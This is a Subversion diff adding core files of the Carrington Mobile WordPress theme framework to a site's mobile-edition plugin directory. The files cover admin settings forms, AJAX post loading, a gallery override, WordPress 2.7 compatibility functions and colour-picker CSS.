+add_action('admin_menu', 'cfct_admin_menu');
+
+function cfct_admin_request_handler() {
+	if (isset($_POST['cf_action'])) {
+		switch ($_POST['cf_action']) {
+			case 'cfct_update_settings':
+				call_user_func($_POST['cf_action']);
+				wp_redirect(trailingslashit(get_bloginfo('wpurl')).'wp-admin/themes.php?page=carrington-settings&updated=true');
+		}
+	}
+}
+
+function cfct_update_settings() {
+	if (!current_user_can('manage_options')) {
+		return;
+	}
+	global $cfct_options;
+	foreach ($cfct_options as $option) {
+		if (isset($_POST[$option])) {
+			update_option($option, stripslashes($_POST[$option]));
+		}
+	}
+	do_action('cfct_update_settings');
+}
+
+function cfct_settings_form() {
+	if (isset($_GET['updated'])) {
+		print('
+<div id="message" class="updated fade">
+	<p>'.__('Settings updated.', 'carrington').'</p>
+</div>
+		');
+	}
+	print('
+<div class="wrap">
+	<h2>'.__('Carrington Settings', 'carrington').'</h2>
+	<form action="options.php" method="post">
+	');
+	do_action('cfct_settings_form_top');
+	print('
+		<table class="form-table">
+			<tbody>'
+//			.cfct_options_home_column('1')
+//			.cfct_options_home_column('2')
+//			.cfct_options_home_column('3')
+			.cfct_options_misc()
+			.'</tbody>
+		</table>
+	');
+	do_action('cfct_settings_form_bottom');
+	do_action('cfct_settings_form');
+	print('
+		<p class="submit" style="padding-left: 230px;">
+			<input type="hidden" name="cf_action" value="cfct_update_settings" />
+			<input type="submit" name="submit_button" class="button-primary" value="'.__('Save Changes', 'carrington').'" />
+		</p>
+	</form>
+</div>
+	');
+	do_action('cfct_settings_form_after');
+}
+
+function cfct_options_home_column($key) {
+	$categories = get_categories('hide_empty=0');
+	$cat_options = '';
+	foreach ($categories as $category) {
+		if ($category->term_id == get_option('cfct_home_col_'.$key.'_cat')) {
+			$selected = 'selected="selected"';
+		}
+		else {
+			$selected = '';
+		}
+		$cat_options .= "\n\t<option value='$category->term_id' $selected>$category->name</option>";
+	}
+	$show_options = '';
+	$show_option = cfct_get_option('cfct_home_column_'.$key.'_content');
+	if ($show_option == 'latest') {
+		$latest_selected = 'selected="selected"';
+		$list_selected = '';
+	}
+	else {
+		$latest_selected = '';
+		$list_selected = 'selected="selected"';
+	}
+	$html = '
+				<tr valign="top">
+					<th scope="row">'.sprintf(__('Home Column %s', 'carrington'), $key).'</td>
+					<td>
+						<fieldset>
+							<p>
+								<label for="cfct_home_column_'.$key.'_cat">'.__('Category:', 'carrington').'</label>
+								<select name="cfct_home_column_'.$key.'_cat" id="cfct_home_column_'.$key.'_cat">'.$cat_options.'</select>
+							</p>
+							<p>
+								<label for="cfct_home_column_'.$key.'_content">'.__('Show:', 'carrington').'</label>
+								<select name="cfct_home_column_'.$key.'_content" id="cfct_home_column_'.$key.'_content" class="home_column_select">
+									<option value="latest" '.$latest_selected.'>'.__('Latest Post Preview', 'carrington').'</option>
+									<option value="list" '.$list_selected.'>'.__('List of Recent Post Titles', 'carrington').'</option>
+								</select>
+							</p>
+							<p id="cfct_latest_limit_'.$key.'_option" class="hidden">
+								<label for="cfct_latest_limit_'.$key.'">'.__('Length of preview, in characters (250 recommended):', 'carrington').'</label>
+								<input type="text" name="cfct_latest_limit_'.$key.'" id="cfct_latest_limit_'.$key.'" value="'.cfct_get_option('cfct_latest_limit_'.$key).'" />
+							</p>
+							<p id="cfct_list_limit_'.$key.'_option" class="hidden">
+								<label for="cfct_list_limit_'.$key.'">'.__('Number of titles to show in list (5 recommended):', 'carrington').'</label>
+								<input type="text" name="cfct_list_limit_'.$key.'" id="cfct_list_limit_'.$key.'" value="'.cfct_get_option('cfct_list_limit_'.$key).'" />
+							</p>
+						</fieldset>
+					</td>
+				</tr>
+	';
+	return $html;
+}
+
+function cfct_options_misc() {
+	$options = array(
+		'yes' => __('Yes', 'carrington'),
+		'no' => __('No', 'carrington')
+	);
+	$credit_options = '';
+	foreach ($options as $k => $v) {
+		if ($k == get_option('cfct_credit')) {
+			$credit_selected = 'selected="selected"';
+		}
+		else {
+			$credit_selected = '';
+		}
+		$credit_options .= "\n\t<option value='$k' $credit_selected>$v</option>";
+	}
+	$html = '
+				<tr valign="top">
+					<th scope="row">'.sprintf(__('Misc.', 'carrington'), $key).'</td>
+					<td>
+						<fieldset>
+							<p>
+								<label for="cfct_about_text">'.__('About text (shown in sidebar):', 'carrington').'</label>
+								<br />
+								<textarea name="cfct_about_text" id="cfct_about_text" cols="40" rows="8">'.htmlspecialchars(get_option('cfct_about_text')).'</textarea>
+							</p>
+							<p>
+								<label for="cfct_wp_footer">'.__('Footer code (for analytics, etc.):', 'carrington').'</label>
+								<br />
+								<textarea name="cfct_wp_footer" id="cfct_wp_footer" cols="40" rows="5">'.htmlspecialchars(get_option('cfct_wp_footer')).'</textarea>
+							</p>
+							<p>
+								<label for="cfct_credit">'.__('Give <a href="http://crowdfavorite.com">Crowd Favorite</a> credit in footer:', 'carrington').'</label>
+								<select name="cfct_credit" id="cfct_credit">'.$credit_options.'</select>
+							</p>
+						</fieldset>
+					</td>
+				</tr>
+	';
+	return $html;
+}
+
+function cfct_header_image_form() {
+	global $wpdb;
+
+	$images = $wpdb->get_results("
+		SELECT * FROM $wpdb->posts 
+		WHERE post_type = 'attachment' 
+		AND post_mime_type LIKE 'image%' 
+		AND post_parent = 0
+		ORDER BY post_date_gmt DESC
+		LIMIT 50
+	");
+	$upload_url = trailingslashit(get_bloginfo('wpurl')).'wp-admin/media-new.php';
+	$checked_attr = ' checked="checked"';
+	$output = '
+<ul style="width: '.((count($images) + 1) * 152).'px">
+	<li style="background: #666;">
+		<label for="cfct_header_image_0">
+			<input type="radio" name="cfct_header_image" value="0" id="cfct_header_image_0" '.$default_checked.'/>'.__('No Image', 'carrington-core').'
+		</label>
+	</li>
+	';
+	if (count($images)) {
+		$header_image = get_option('cfct_header_image');
+		if (empty($header_image)) {
+			$header_image = 0;
+			$default_checked = $checked_attr;
+		}
+		else {
+			$default_checked = '';
+		}
+		foreach ($images as $image) {
+			$id = 'cfct_header_image_'.$image->ID;
+			$thumbnail = wp_get_attachment_image_src($image->ID);
+			$header_image == $image->ID ? $checked = $checked_attr : $checked = '';
+			$output .= '
+	<li style="background-image: url('.$thumbnail[0].')">
+		<label for="'.$id.'">
+			<input type="radio" name="cfct_header_image" value="'.$image->ID.'" id="'.$id.'"'.$checked.' />'.wp_specialchars($image->post_title).'
+		</label>
+	</li>';
+		}
+	}
+	$output .= '</ul>';
+	return '<p>'.sprintf(__('Header Image &mdash; <a href="%s">Upload Images</a>', 'carrington-core'), $upload_url).'</p><div class="cfct_header_image_carousel">'.$output.'</div>';
+}
+
+if (is_admin()) {
+	wp_enqueue_script('jquery-colorpicker', get_bloginfo('template_directory').'/carrington-core/js/colorpicker.js', array('jquery'), '1.0');
+// removing until we drop 2.5 compatibility
+//	wp_enqueue_style('jquery-colorpicker', get_bloginfo('template_directory').'/carrington-core/css/colorpicker.css');
+}
+
+function cfct_admin_head() {
+// see enqueued style above, we'll activate that in the future
+	if ($_GET['page'] == 'carrington-settings') {
+		echo '
+<link rel="stylesheet" type="text/css" media="screen" href="'.get_bloginfo('template_directory').'/carrington-core/css/colorpicker.css" />
+		';
+		cfct_admin_css();
+	}
+//	cfct_admin_js();
+}
+add_action('admin_head', 'cfct_admin_head');
+
+function cfct_admin_css() {
+?>
+<style type="text/css">
+div.cfct_header_image_carousel {
+	height: 170px;
+	overflow: auto;
+	width: 600px;
+}
+div.cfct_header_image_carousel ul {
+	height: 150px;
+}
+div.cfct_header_image_carousel li {
+	background: #fff url() center center no-repeat;
+	float: left;
+	height: 150px;
+	margin-right: 2px;
+	overflow: hidden;
+	position: relative;
+	width: 150px;
+}
+div.cfct_header_image_carousel li label {
+	background: #000;
+	color: #fff;
+	display: block;
+	height: 50px;
+	line-height: 25px;
+	overflow: hidden;
+	position: absolute;
+	top: 110px;
+	width: 150px;
+	filter:alpha(opacity=75);
+	-moz-opacity:.75;
+	opacity:.75;
+}
+div.cfct_header_image_carousel li label input {
+	margin: 0 5px;
+}
+</style>
+<?php
+}
+
+function cfct_admin_js() {
+?>
+<script type="text/javascript">
+jQuery(function() {
+	jQuery('select.home_column_select').each(function() {
+		cfct_home_columns(jQuery(this), false);
+	}).change(function() {
+		cfct_home_columns(jQuery(this), true);
+	});
+});
+
+function cfct_home_columns(elem, slide) {
+	var id = elem.attr('id').replace('cfct_home_column_', '').replace('_content', '');
+	var val = elem.val();
+	var option_show = '#cfct_latest_limit_' + id + '_option';
+	var option_hide = '#cfct_list_limit_' + id + '_option';
+	if (val == 'list') {
+		option_show = '#cfct_list_limit_' + id + '_option';
+		option_hide = '#cfct_latest_limit_' + id + '_option';
+	}
+	if (slide) {
+		jQuery(option_hide).slideUp(function() {
+			jQuery(option_show).slideDown();
+		});
+	}
+	else {
+		jQuery(option_show).show();
+		jQuery(option_hide).hide();
+	}
+}
+</script>
+<?php
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/ajax-load.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/ajax-load.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/ajax-load.php	(revision 44)
@@ -0,0 +1,99 @@
+<?php
+
+// This file is part of the Carrington Theme Framework for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+
+function cfct_ajax_post_content($post_id) {
+	global $post, $posts, $wp_query, $wp;
+	$posts = get_posts('include='.$post_id);
+	$post = $posts[0];
+	if (is_null($post)) {
+		$posts = get_pages('include='.$post_id);
+		$post = $posts[0];
+	}
+	if (is_null($post)) {
+		$posts = get_posts('post_status=private&include='.$post_id);
+		$post = $posts[0];
+		if ($post) {
+			$user = wp_get_current_user();
+			if (!$user->ID || $user->ID != $post->post_author) {
+				$post = null;
+			}
+		}
+	}
+	if (!$post) {
+		die('');
+	}
+	$wp_query->in_the_loop = true;
+	setup_postdata($post);
+	remove_filter('the_content', 'st_add_widget');
+	$wp->send_headers();
+	cfct_content();
+	echo '<div class="close" id="post_close_'.$post_id.'"><a href="#">'.__('Close', 'carrington').'</a></div>';
+}
+
+function cfct_ajax_post_comments($post_id) {
+	global $post, $posts, $wp_query, $wp;
+	$wp_query->is_single = true;
+	$posts = get_posts('include='.$post_id);
+	$post = $posts[0];
+	if (is_null($post)) {
+		$posts = get_pages('include='.$post_id);
+		$post = $posts[0];
+	}
+	setup_postdata($post);
+	$wp->send_headers();
+	comments_template();
+}
+
+function cfct_ajax_load() {
+	if (isset($_GET['cfct_action'])) {
+		switch ($_GET['cfct_action']) {
+			case 'post_content':
+			case 'post_comments':
+				if (isset($_GET['id'])) {
+					$post_id = intval($_GET['id']);
+				}
+				else if (isset($_GET['url'])) {
+					$post_id = url_to_post_id($_GET['url']);
+				}
+				if ($post_id) {
+					call_user_func('cfct_ajax_'.$_GET['cfct_action'], $post_id);
+					die();
+				}
+		}
+	}
+}
+
+function cfct_ajax_comment_link() {
+	global $post;
+	echo ' rev="post-'.$post->ID.'" ';
+}
+add_filter('comments_popup_link_attributes', 'cfct_ajax_comment_link');
+
+function cfct_posts_per_archive_page($query) {
+	$count = get_option('cfct_posts_per_archive_page');
+	intval($count) > 0 ? $count = $count : $count = 25;
+	$query->set('posts_per_archive_page', $count);
+	if (is_category()) {
+		$query->set('posts_per_page', $count);
+	}
+	return $query;
+}
+add_filter('pre_get_posts', 'cfct_posts_per_archive_page');
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/attachment.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/attachment.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/attachment.php	(revision 44)
@@ -0,0 +1,126 @@
+<?php
+
+// This file is part of the Carrington Theme Framework for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+function cfct_get_adjacent_image_link($prev = true) {
+	global $post;
+	$post = get_post($post);
+	$attachments = array_values(get_children( array('post_parent' => $post->post_parent, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => 'ASC', 'orderby' => 'menu_order ID') ));
+
+	foreach ( $attachments as $k => $attachment )
+		if ( $attachment->ID == $post->ID )
+			break;
+
+	$k = $prev ? $k - 1 : $k + 1;
+
+	if ( isset($attachments[$k]) )
+		return wp_get_attachment_link($attachments[$k]->ID, 'thumbnail', true);
+}
+
+function cfct_post_gallery($unused, $attr) {
+	global $post;
+
+	// We're trusting author input, so let's at least make sure it looks like a valid orderby statement
+	if ( isset( $attr['orderby'] ) ) {
+		$attr['orderby'] = sanitize_sql_orderby( $attr['orderby'] );
+		if ( !$attr['orderby'] )
+			unset( $attr['orderby'] );
+	}
+
+	extract(shortcode_atts(array(
+		'order'      => 'ASC',
+		'orderby'    => 'menu_order ID',
+		'id'         => $post->ID,
+		'itemtag'    => 'dl',
+		'icontag'    => 'dt',
+		'captiontag' => 'dd',
+		'columns'    => 3,
+		'size'       => 'thumbnail'
+	), $attr));
+
+	$id = intval($id);
+	$attachments = get_children( array('post_parent' => $id, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => $order, 'orderby' => $orderby) );
+
+	if ( empty($attachments) )
+		return '';
+
+	if ( is_feed() ) {
+		$output = "\n";
+		foreach ( $attachments as $id => $attachment )
+			$output .= wp_get_attachment_link($id, $size, true) . "\n";
+		return $output;
+	}
+
+	$itemtag = tag_escape($itemtag);
+	$captiontag = tag_escape($captiontag);
+	$columns = apply_filters('cfct_post_gallery_columns', intval($columns));
+	$itemwidth = $columns > 0 ? floor(100/$columns) : 100;
+
+	$output = apply_filters('gallery_style', "
+		<style type='text/css'>
+			.gallery {
+				margin: auto;
+			}
+			.gallery-item {
+				float: left;
+				margin-top: 10px;
+				text-align: center;
+				width: {$itemwidth}%;			}
+			.gallery img {
+				border: 2px solid #cfcfcf;
+			}
+			.gallery-caption {
+				margin-left: 0;
+			}
+		</style>
+		<!-- see cfct_post_gallery() in carrington-core/attachment.php -->
+		<div class='gallery'>");
+
+	$i = 0;
+	foreach ( $attachments as $id => $attachment ) {
+// get full item src
+		$item_src = wp_get_attachment_image_src($id, 'full', false);
+
+		$link = isset($attr['link']) && 'file' == $attr['link'] ? wp_get_attachment_link($id, $size, false, false) : wp_get_attachment_link($id, $size, true, false);
+		
+// add full item src as rel
+		$link = str_replace('><img', ' class="thickbox" rel="'.$item_src[0].'"><img', $link);
+
+		$output .= "<{$itemtag} class='gallery-item'>";
+		$output .= "
+			<{$icontag} class='gallery-icon'>
+				$link
+			</{$icontag}>";
+		if ( $captiontag && trim($attachment->post_excerpt) ) {
+			$output .= "
+				<{$captiontag} class='gallery-caption'>
+				{$attachment->post_excerpt}
+				</{$captiontag}>";
+		}
+		$output .= "</{$itemtag}>";
+		if ( $columns > 0 && ++$i % $columns == 0 )
+			$output .= '<br style="clear: both" />';
+	}
+
+	$output .= "
+			<br style='clear: both;' />
+		</div>\n";
+
+	return $output;
+}
+add_filter('post_gallery', 'cfct_post_gallery', 10, 2);
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/carrington.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/carrington.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/carrington.php	(revision 44)
@@ -0,0 +1,96 @@
+<?php
+
+// This file is part of the Carrington Theme Framework for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+
+//	ini_set('display_errors', '1');
+//	ini_set('error_reporting', E_ALL);
+
+load_theme_textdomain('carrington');
+
+$cfct_options[] = 'cfct_about_text';
+$cfct_options[] = 'cfct_credit';
+$cfct_options[] = 'cfct_wp_footer';
+
+include_once(CFCT_PATH.'carrington-core/admin.php');
+include_once(CFCT_PATH.'carrington-core/templates.php');
+include_once(CFCT_PATH.'carrington-core/utility.php');
+include_once(CFCT_PATH.'carrington-core/ajax-load.php');
+include_once(CFCT_PATH.'carrington-core/attachment.php');
+include_once(CFCT_PATH.'carrington-core/compatibility.php');
+
+cfct_load_plugins();
+
+function cfct_init() {
+	cfct_admin_request_handler();
+	if (cfct_get_option('cfct_ajax_load') == 'yes') {
+		cfct_ajax_load();
+	}
+}
+add_action('init', 'cfct_init');
+
+function cfct_wp_footer() {
+	echo get_option('cfct_wp_footer');
+}
+add_action('wp_footer', 'cfct_wp_footer');
+
+function cfct_about_text() {
+	$about_text = get_option('cfct_about_text');
+	if (!empty($about_text)) {
+		$about_text = cfct_basic_content_formatting($about_text);
+	}
+	else {
+		global $post, $wp_query;
+		$page = $wp_query->query_vars['page'];
+// temporary - resetting below
+		$wp_query->query_vars['page'] = null;
+		remove_filter('the_excerpt', 'st_add_widget');
+		$about_query = new WP_Query('pagename=about');
+		while ($about_query->have_posts()) {
+			$about_query->the_post();
+			$about_text = get_the_excerpt().sprintf(__('<a class="more" href="%s">more &rarr;</a>', 'carrington'), get_permalink());
+		}
+		$wp_query->query_vars['page'] = $page;
+	}
+	if (function_exists('st_add_widget')) {
+		add_filter('the_excerpt', 'st_add_widget');
+	}
+	return $about_text;
+}
+
+function cfct_get_custom_colors($type = 'option') {
+	global $cfct_color_options;
+	$colors = array();
+	foreach ($cfct_color_options as $option => $value) {
+		switch ($type) {
+			case 'preview':
+				!empty($_GET[$option]) ? $colors[$option] = strip_tags(stripslashes($_GET[$option])) : $colors[$option] = '';
+				break;
+			case 'option':
+			default:
+				$colors[$option] = cfct_get_option($option);
+				break;
+		}
+	}
+	return $colors;
+}
+
+if (!defined('CFCT_DEBUG')) {
+	define('CFCT_DEBUG', false);
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/compatibility.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/compatibility.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/compatibility.php	(revision 44)
@@ -0,0 +1,234 @@
+<?php
+
+// This file is part of the Carrington Theme Framework for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+//
+// Functions here without the cfct_ prefix are taken from WordPress 2.7 under the GPL
+
+if (!function_exists('is_sticky')) {
+	function is_sticky() {
+		return false;
+	}
+}
+
+/**
+ * Displays classes for post div
+ *
+ * @param string|array $class One or more classes to add to the class list.
+ * @param int $post_id An optional post ID.
+ */
+
+if (!function_exists('post_class')) {
+	function post_class( $class = '', $post_id = null ) {
+		// Separates classes with a single space, collates classes for post DIV
+		echo 'class="' . join( ' ', get_post_class( $class, $post_id ) ) . '"';
+	}
+}
+
+/**
+ * Retrieve the classes for the post div as an array.
+ *
+ * The class names are add are many. If the post is a sticky, then the 'sticky'
+ * class name. The class 'hentry' is always added to each post. For each
+ * category, the class will be added with 'category-' with category slug is
+ * added. The tags are the same way as the categories with 'tag-' before the tag
+ * slug. All classes are passed through the filter, 'post_class' with the list
+ * of classes, followed by $class parameter value, with the post ID as the last
+ * parameter.
+ *
+ * @param string|array $class One or more classes to add to the class list.
+ * @param int $post_id An optional post ID.
+ * @return array Array of classes.
+ */
+if (!function_exists('get_post_class')) {
+	function get_post_class( $class = '', $post_id = null ) {
+		$post = get_post($post_id);
+
+		$classes = array();
+
+		$classes[] = $post->post_type;
+
+		// sticky for Sticky Posts
+		if ( is_sticky($post->ID) && is_home())
+			$classes[] = 'sticky';
+
+		// hentry for hAtom compliace
+		$classes[] = 'hentry';
+
+		// Categories
+		foreach ( (array) get_the_category($post->ID) as $cat ) {
+			if ( empty($cat->slug ) )
+				continue;
+			$classes[] = 'category-' . $cat->slug;
+		}
+
+		// Tags
+		foreach ( (array) get_the_tags($post->ID) as $tag ) {
+			if ( empty($tag->slug ) )
+				continue;
+			$classes[] = 'tag-' . $tag->slug;
+		}
+
+		if ( !empty($class) ) {
+			if ( !is_array( $class ) )
+				$class = preg_split('#\s+#', $class);
+			$classes = array_merge($classes, $class);
+		}
+
+		return apply_filters('post_class', $classes, $class, $post_id);
+	}
+}
+
+/**
+ * Display "sticky" CSS class, if a post is sticky.
+ *
+ * @param int $post_id An optional post ID.
+ */
+if (!function_exists('sticky_class')) {
+	function sticky_class( $post_id = null ) {
+		if ( !is_sticky($post_id) )
+			return;
+
+		echo " sticky";
+	}
+}
+
+/**
+ * Generates semantic classes for each comment element
+ *
+ * @param string|array $class One or more classes to add to the class list
+ * @param int $comment_id An optional comment ID
+ * @param int $post_id An optional post ID
+ * @param bool $echo Whether comment_class should echo or return
+ */
+if (!function_exists('comment_class')) {
+	function comment_class( $class = '', $comment_id = null, $post_id = null, $echo = true ) {
+		// Separates classes with a single space, collates classes for comment DIV
+		$class = 'class="' . join( ' ', get_comment_class( $class, $comment_id, $post_id ) ) . '"';
+		if ( $echo)
+			echo $class;
+		else
+			return $class;
+	}
+}
+
+/**
+ * Returns the classes for the comment div as an array
+ *
+ * @param string|array $class One or more classes to add to the class list
+ * @param int $comment_id An optional comment ID
+ * @param int $post_id An optional post ID
+ * @return array Array of classes
+ */
+if (!function_exists('get_comment_class')) {
+	function get_comment_class( $class = '', $comment_id = null, $post_id = null ) {
+		global $comment_alt, $comment_depth, $comment_thread_alt;
+
+		$comment = get_comment($comment_id);
+
+		$classes = array();
+
+		// Get the comment type (comment, trackback),
+		$classes[] = ( empty( $comment->comment_type ) ) ? 'comment' : $comment->comment_type;
+
+		// If the comment author has an id (registered), then print the log in name
+		if ( $comment->user_id > 0 && $user = get_userdata($comment->user_id) ) {
+			// For all registered users, 'byuser'
+			$classes[] = 'byuser comment-author-' . $user->user_nicename;
+			// For comment authors who are the author of the post
+			if ( $post = get_post($post_id) ) {
+				if ( $comment->user_id === $post->post_author )
+					$classes[] = 'bypostauthor';
+			}
+		}
+
+		if ( empty($comment_alt) )
+			$comment_alt = 0;
+		if ( empty($comment_depth) )
+			$comment_depth = 1;
+		if ( empty($comment_thread_alt) )
+			$comment_thread_alt = 0;
+
+		if ( $comment_alt % 2 ) {
+			$classes[] = 'odd';
+			$classes[] = 'alt';
+		} else {
+			$classes[] = 'even';
+		}
+
+		$comment_alt++;
+
+		// Alt for top-level comments
+		if ( 1 == $comment_depth ) {
+			if ( $comment_thread_alt % 2 ) {
+				$classes[] = 'thread-odd';
+				$classes[] = 'thread-alt';
+			} else {
+				$classes[] = 'thread-even';
+			}
+			$comment_thread_alt++;
+		}
+
+		$classes[] = "depth-$comment_depth";
+
+		if ( !empty($class) ) {
+			if ( !is_array( $class ) )
+				$class = preg_split('#\s+#', $class);
+			$classes = array_merge($classes, $class);
+		}
+
+		return apply_filters('comment_class', $classes, $class, $comment_id, $post_id);
+	}
+}
+
+/**
+ * Outputs hidden fields for comment form with unique IDs, based on post ID, making it safe for AJAX pull.
+ */
+function cfct_comment_id_fields() {
+	global $id;
+
+	$replytoid = isset($_GET['replytocom']) ? (int) $_GET['replytocom'] : 0;
+	echo "<input type='hidden' name='comment_post_ID' value='$id' id='comment_post_ID_p$id' />\n";
+	echo "<input type='hidden' name='comment_parent' id='comment_parent_p$id' value='$replytoid' />\n";
+}
+
+/**
+ * Filter the comment reply link to add a unique unique ID, based on post ID, making it safe for AJAX pull.
+ */
+function cfct_get_cancel_comment_reply_link($reply_link, $link, $text) {
+	global $post;
+	
+	if ( !empty($text) ) { $text = __('Cancel', 'carrington'); }
+	
+	$style = '';
+	if (!isset($_GET['replytocom'])) {
+		$style = ' style="display:none;"';
+	}
+	
+	$reply_link = '<a rel="nofollow" id="cancel-comment-reply-link-p' . $post->ID . '" href="' . $link . '-p' . $post->ID . '"' . $style . '>' . $text . '</a>';
+	return $reply_link;
+}
+
+// For meeting wordpress.org requirements
+/*
+get_avatar();
+the_tags();
+register_sidebar('none');
+bloginfo('description');
+wp_head();
+wp_footer();
+*/
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/css/colorpicker.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/css/colorpicker.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/css/colorpicker.css	(revision 44)
@@ -0,0 +1,161 @@
+.colorpicker {
+	width: 356px;
+	height: 176px;
+	overflow: hidden;
+	position: absolute;
+	background: url(../images/colorpicker/colorpicker_background.png);
+	font-family: Arial, Helvetica, sans-serif;
+	display: none;
+}
+.colorpicker_color {
+	width: 150px;
+	height: 150px;
+	left: 14px;
+	top: 13px;
+	position: absolute;
+	background: #f00;
+	overflow: hidden;
+	cursor: crosshair;
+}
+.colorpicker_color div {
+	position: absolute;
+	top: 0;
+	left: 0;
+	width: 150px;
+	height: 150px;
+	background: url(../images/colorpicker/colorpicker_overlay.png);
+}
+.colorpicker_color div div {
+	position: absolute;
+	top: 0;
+	left: 0;
+	width: 11px;
+	height: 11px;
+	overflow: hidden;
+	background: url(../images/colorpicker/colorpicker_select.gif);
+	margin: -5px 0 0 -5px;
+}
+.colorpicker_hue {
+	position: absolute;
+	top: 13px;
+	left: 171px;
+	width: 35px;
+	height: 150px;
+	cursor: n-resize;
+}
+.colorpicker_hue div {
+	position: absolute;
+	width: 35px;
+	height: 9px;
+	overflow: hidden;
+	background: url(../images/colorpicker/colorpicker_indic.gif) left top;
+	margin: -4px 0 0 0;
+	left: 0px;
+}
+.colorpicker_new_color {
+	position: absolute;
+	width: 60px;
+	height: 30px;
+	left: 213px;
+	top: 13px;
+	background: #f00;
+}
+.colorpicker_current_color {
+	position: absolute;
+	width: 60px;
+	height: 30px;
+	left: 283px;
+	top: 13px;
+	background: #f00;
+}
+.colorpicker input {
+	background-color: transparent;
+	border: 1px solid transparent;
+	position: absolute;
+	font-size: 10px;
+	font-family: Arial, Helvetica, sans-serif;
+	color: #898989;
+	top: 4px;
+	right: 11px;
+	text-align: right;
+	margin: 0;
+	padding: 0;
+	height: 11px;
+}
+.colorpicker_hex {
+	position: absolute;
+	width: 72px;
+	height: 22px;
+	background: url(../images/colorpicker/colorpicker_hex.png) top;
+	left: 212px;
+	top: 142px;
+}
+.colorpicker_hex input {
+	right: 6px;
+}
+.colorpicker_field {
+	height: 22px;
+	width: 62px;
+	background-position: top;
+	position: absolute;
+}
+.colorpicker_field span {
+	position: absolute;
+	width: 12px;
+	height: 22px;
+	overflow: hidden;
+	top: 0;
+	right: 0;
+	cursor: n-resize;
+}
+.colorpicker_rgb_r {
+	background-image: url(../images/colorpicker/colorpicker_rgb_r.png);
+	top: 52px;
+	left: 212px;
+}
+.colorpicker_rgb_g {
+	background-image: url(../images/colorpicker/colorpicker_rgb_g.png);
+	top: 82px;
+	left: 212px;
+}
+.colorpicker_rgb_b {
+	background-image: url(../images/colorpicker/colorpicker_rgb_b.png);
+	top: 112px;
+	left: 212px;
+}
+.colorpicker_hsb_h {
+	background-image: url(../images/colorpicker/colorpicker_hsb_h.png);
+	top: 52px;
+	left: 282px;
+}
+.colorpicker_hsb_s {
+	background-image: url(../images/colorpicker/colorpicker_hsb_s.png);
+	top: 82px;
+	left: 282px;
+}
+.colorpicker_hsb_b {
+	background-image: url(../images/colorpicker/colorpicker_hsb_b.png);
+	top: 112px;
+	left: 282px;
+}
+.colorpicker_submit {
+	position: absolute;
+	width: 22px;
+	height: 22px;
+	background: url(../images/colorpicker/colorpicker_submit.png) top;
+	left: 322px;
+	top: 142px;
+	overflow: hidden;
+}
